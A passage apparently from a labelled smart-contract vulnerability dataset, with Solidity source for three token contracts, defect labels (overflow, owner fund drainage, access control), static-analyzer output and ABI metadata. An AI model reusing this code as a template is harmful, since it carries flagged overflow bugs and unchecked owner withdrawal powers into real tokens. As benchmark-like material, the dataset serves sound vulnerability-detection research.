_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface LegacyIERC20 { function transfer(address, uint) external; } contract GlobalDeFi is ERC20Burnable, Ownable { constructor() public ERC20("Global DeFi", "GDEFI") { _mint(_msgSender(), 1_000_000e18); } function transferAnyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner { require(IERC20(tokenAddress).transfer(recipient, amount), "transfer failed!"); } function transferAnyLegacyERC20Token(address tokenAddress, address recipient, uint amount) external onlyOwner { LegacyIERC20(tokenAddress).transfer(recipient, amount); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["egacyIERC20_tokenAddress_.transfer.L650"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["626"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [256, 257, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [224, 218, 219, 220, 221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [540, 541, 542]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [20, 21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [240, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalDeFi.sol": [202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [405, 406, 407, 408, 409]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [588, 589, 590, 591, 592, 593]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [344, 342, 343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [442, 443, 444, 445]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [325, 326, 327]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [356, 357, 358]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [368, 369, 370, 371]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [424, 425, 426, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [630, 631, 632, 633, 634]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [349, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [387, 388, 389, 390]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalDeFi.sol": [573, 574, 575]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"GlobalDeFi.sol": [638]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"GlobalDeFi.sol": [317, 318, 319]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"GlobalDeFi.sol": [325, 326, 327]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"GlobalDeFi.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 484, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 505, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 387, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 289, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 291, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 293, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 295, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 296, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 297, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 287, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferAnyLegacyERC20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.11+commit.5ef660b1
false
200
Default
BSD-3-Clause
false
ipfs://bbccc1e74cbee48e93196c9094ba608e0b8dbccd0d3d228d59599c4fcdc7794b
TokenERC20
0xf3e764c99875ee117578f4e5ceed2c58ce1e506e
Solidity
pragma solidity ^0.6.4; contract SafeMath { function safeAdd(uint256 _a, uint256 _b) internal returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } function safeSub(uint256 _a, uint256 _b) internal returns (uint256) { assert(_a >= _b); return _a - _b; } function safeMul(uint256 _a, uint256 _b) internal returns (uint256) { uint256 c = _a * _b; assert(_a == 0 || c / _a == _b); return c; } } contract TokenERC20 is SafeMath{ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address public owner; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); modifier validAddress(address _address){ require(_address != address(0)); _; } constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; owner = msg.sender; } function _transfer(address _from, address _to, uint256 _value) internal { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) public returns (bool success) { require(_value >= 0); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); totalSupply = SafeMath.safeSub(totalSupply, _value); emit Burn(msg.sender, _value); return true; } }
[{"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["40"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"TokenERC20.sol": [23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TokenERC20.sol": [13, 14, 15, 16, 17]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TokenERC20.sol": [64, 65, 66, 67, 68, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TokenERC20.sol": [57, 58, 59, 60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TokenERC20.sol": [69, 70, 71, 72, 73, 74]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TokenERC20.sol": [75, 76, 77, 78, 79, 80, 81]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [4]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [9]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [13]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [69]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [57]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [13]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [9]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [69]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [61]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [4]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TokenERC20.sol": [75]}}, {"check": "tautology", "impact": "Medium", "confidence": "High", "lines": {"TokenERC20.sol": [76]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 69, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}]
[{"inputs":[{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.6.4+commit.1dca32f3
false
200
000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000017e2809c4243205465616d20e280987320436f696ee2809d0000000000000000000000000000000000000000000000000000000000000000000000000000000009e2809c424343e2809d0000000000000000000000000000000000000000000000
Default
None
false
ipfs://202d17cfe6b1ec3f72f216d757c86d677ab857befe7872cd1e3ec31f7b176547
OXYGEN
0xc8d9ac6570d23408710c39e88420ca193a1bc7c3
Solidity
pragma solidity ^0.4.25; /** * @title oxygen-labs */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract OXYGEN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "OXYGEN"; string public constant symbol = "GEN"; uint public constant decimals = 8; uint public deadline = now + 370 * 1 days; uint public round2 = now + 320 * 1 days; uint public round1 = now + 220 * 1 days; uint256 public totalSupply = 20000000000000000; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether uint256 public tokensPerEth = 10000000000000; uint public target0drop = 10; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x5BD5e74bb5084324EDfbC5B6bE943a04b94066aC ; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 10000000000000000; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 10 ether / 10; uint256 bonusCond2 = 10 ether; uint256 bonusCond3 = 50 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 0 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 20 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 35 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 30e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["241", "302", "297"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["170"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["48"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["92", "77", "76", "78", "54"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["128"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["191", "212", "196", "198", "200", "204", "206", "187", "85", "81", "79", "80"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["202", "194", "224"]}]
[{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"OXYGEN.sol": [216]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [88]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [54]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"OXYGEN.sol": [92]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [154]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [157]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"OXYGEN.sol": [23, 24, 25, 26, 27, 28]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"OXYGEN.sol": [204]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"OXYGEN.sol": [198]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"OXYGEN.sol": [200]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"OXYGEN.sol": [206]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"OXYGEN.sol": [196]}}, {"check": "external-function", 